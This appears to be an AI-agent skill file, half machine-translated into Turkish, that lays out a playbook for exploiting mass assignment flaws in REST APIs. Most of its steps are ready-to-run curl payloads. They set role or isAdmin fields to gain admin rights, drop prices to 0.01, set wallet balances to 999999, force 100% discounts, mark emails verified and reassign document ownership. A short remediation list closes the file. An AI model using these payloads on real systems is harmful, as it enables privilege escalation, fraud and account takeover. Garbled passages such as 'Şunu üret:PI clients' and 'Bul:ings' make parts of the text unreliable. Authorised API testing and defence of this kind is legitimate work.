Exploiting Mass Assignment In Rest Apis

---
name: exploiting-mass-assignment-in-rest-apis
description: Discover and exploit mass assignment vulnerabilities in REST APIs to escalate privileges, modify restricted fields, and bypass authorization controls by injecting unexpected parameters in API
  requests.
tags:
- autobinding
- mass-assignment
- parameter-injection
- api-security
- owasp-api
- fetih
- privilege-escalation
- web-application-security
- rest-api
- cybersecurity
- siber-güvenlik
triggers:
- CSRF
- SQL injection
- XSS
- alert
- api
- apis
- assignment
- email
- endpoint
- exploit
- exploiting
- http
category: web-application-security
source_subdomain: web-application-security
nist_csf:
- PR.PS-01
- ID.RA-01
- PR.DS-10
- DE.CM-01
adapted_for: fetih
---

# Exploiting Mass Assignment in Rest Apis


## Ne Zaman Kullanılır
- testing yaparken REST APIs that accept JSON input for creating or updating resources
- During API security assessments of applications using ORM frameworks (Rails, Django, Laravel, Spring)
- testing yaparken user registration, profile update, or account management endpoints
- During bug bounty hunting on applications with CRUD API operations
- evaluating yaparken: role-based access control implementation in API-driven applications

## Ön Gereksinimler
- Burp Suite or Postman for API request crafting and interception
- Understanding of ORM auto-binding behavior in common frameworks
- API documentation or endpoint discovery through reconnaissance
- Multiple user accounts with different privilege levels for testing
- Bilgi: common sensitive fields (role, isAdmin, verified, balance, price)
- Arjun or param-miner for hidden parameter discovery


> **Legal Notice:** bu skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.

## İş Akışı

### Adım 1 — Discover API Structure and Fields
```bash
curl -H "Authorization: Bearer USER_TOKEN" http://target.com/api/users/me | jq .

curl http://target.com/api/docs
curl http://target.com/swagger.json
curl http://target.com/openapi.yaml

arjun -u http://target.com/api/users/me -m JSON -H "Authorization: Bearer USER_TOKEN"

```

### Adım 2 — Test Privilege Escalation via Role Fields
```bash
curl -X PUT http://target.com/api/users/me \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"username":"testuser","email":"test@test.com","role":"admin"}'

curl -X PATCH http://target.com/api/users/me \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"isAdmin":true}'

curl -X PATCH http://target.com/api/users/me \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"is_admin":true,"admin":true,"role":"superadmin","user_type":"admin","privilege_level":99}'

curl -X POST http://target.com/api/register \
  -H "Content-Type: application/json" \
  -d '{"username":"newadmin","password":"pass123","email":"admin@evil.com","role":"admin","isAdmin":true}'
```

### Adım 3 — Test Financial and Business Logic Fields
```bash
curl -X POST http://target.com/api/orders \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"product_id":1,"quantity":1,"price":0.01}'

curl -X PATCH http://target.com/api/wallet \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"balance":999999}'

curl -X POST http://target.com/api/checkout \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"cart_id":123,"discount_percent":100,"coupon_code":"NONE"}'

curl -X PATCH http://target.com/api/subscription \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"plan":"enterprise","price":0}'
```

### Adım 4 — Test Verification and Status Fields
```bash
curl -X PATCH http://target.com/api/users/me \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"email_verified":true,"verified":true,"active":true}'

curl -X PATCH http://target.com/api/users/me \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"status":"active","banned":false,"suspended":false}'

curl -X PATCH http://target.com/api/users/me \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"organization_id":"target-org-uuid","team_id":"admin-team"}'
```

### Adım 5 — Test Relationship and Foreign Key Manipulation
```bash
curl -X PATCH http://target.com/api/documents/123 \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"owner_id":"admin-user-id"}'

curl -X PATCH http://target.com/api/projects/456 \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"team_id":"privileged-team","access_level":"write"}'

curl -X PATCH http://target.com/api/entries/789 \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"created_at":"2020-01-01","created_by":"other-user-id"}'
```

### Adım 6 — Automate Mass Assignment Testing
```bash

python3 mass_assignment_tester.py \
  --url http://target.com/api/users/me \
  --method PATCH \
  --token "Bearer USER_TOKEN" \
  --fields-file mass_assignment_fields.txt

echo "http://target.com" | nuclei -t http/vulnerabilities/generic/mass-assignment.yaml
```

## Key Concepts

| Concept | Description |
|---------|-------------|
| Mass Assignment | ORM auto-binding of request parameters to model attributes without restriction |
| Autobinding | Framework feature that maps HTTP parameters directly to object properties |
| Allowlist | Server-side list of permitted fields for update operations (strong_parameters in Rails) |
| Denylist | List of forbidden fields (less secure than allowlist approach) |
| Hidden Fields | Server-managed fields (role, balance) not shown in forms but accepted by API |
| DTO (Data Transfer Object) | Pattern using separate objects for input vs. database to prevent mass assignment |
| Parameter Pollution | Sending unexpected extra parameters alongside legitimate ones |

## Tools & Systems

| Tool | Purpose |
|------|---------|
| Burp Suite | API request interception and parameter injection |
| Postman | API testing and collection-based mass assignment testing |
| Arjun | Hidden parameter discovery tool for API endpoints |
| param-miner | Burp extension for discovering hidden parameters |
| OWASP ZAP | Automated API scanning with parameter injection |
| swagger-codegen | Şunu üret:PI clients from OpenAPI specs for testing |

## Common Scenarios

1. **Admin Privilege Escalation** — Inject `"role":"admin"` or `"isAdmin":true` in profile update to gain administrative access
2. **Price Manipulation** — Modify `price` or `discount` fields in order creation endpoints to purchase items at reduced cost
3. **Email Verification Bypass** — Set `email_verified:true` during registration or profile update to bypass verification requirements
4. **Account Takeover** — Modify `email` or `phone` fields to attacker-controlled values, then trigger password reset
5. **Subscription Upgrade** — Inject `plan:"enterprise"` in subscription update to gain premium features without payment

## Output Format

```
## Mass Assignment Vulnerability Report
- **Target**: http://target.com/api/users/me
- **Method**: PATCH
- **Framework**: Ruby on Rails (Detected via X-Powered-By)

### Bul:ings
| # | Endpoint | Injected Field | Original | Modified | Impact |
|---|----------|---------------|----------|----------|--------|
| 1 | PATCH /api/users/me | role | "user" | "admin" | Privilege Escalation |
| 2 | POST /api/orders | price | 99.99 | 0.01 | Financial Loss |
| 3 | PATCH /api/users/me | email_verified | false | true | Verification Bypass |

### İyileştirme
- Implement allowlist (strong_parameters) for all model update operations
- Use DTOs/ViewModels to decouple API input from database models
- Apply field-level authorization checks on sensitive attributes
- Log and alert on attempts to modify restricted fields
```

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